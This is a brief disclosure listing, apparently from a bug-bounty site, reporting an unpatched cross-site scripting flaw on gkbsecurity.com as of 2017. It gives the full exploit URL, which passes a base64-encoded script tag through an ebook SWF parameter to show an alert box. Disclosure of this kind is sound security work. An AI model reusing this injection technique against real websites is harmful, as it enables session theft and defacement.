gkbsecurity.com XSS vulnerability

Vulnerable URL: http://www.gkbsecurity.com/ebook/AetherLink/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...